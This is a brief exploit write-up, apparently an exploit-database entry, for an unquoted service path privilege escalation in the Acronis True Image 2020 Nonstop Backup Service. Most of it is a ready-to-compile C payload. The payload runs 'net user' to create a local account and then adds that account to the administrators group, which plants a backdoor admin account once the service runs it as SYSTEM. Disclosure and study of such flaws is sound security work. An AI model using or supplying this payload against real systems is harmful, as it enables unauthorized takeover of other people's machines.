Acronis True Image 2020 Build 22510 Nonstop Backup Service Unquoted service path (privilege escalation)

Summary Acronis True Image 2020 Nonstop Backup Service is created with an executable path that contains spaces and isn't enclosed within quotes this leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges.

#include <stdlib.h>
// i686-w64-mingw32-gcc adduser.c -o adduser.exe
int main ()
{
int i;
i = system ("net user username P@ssword! /add");
i = system ("net localgroup administrators username /add");
return 0;
}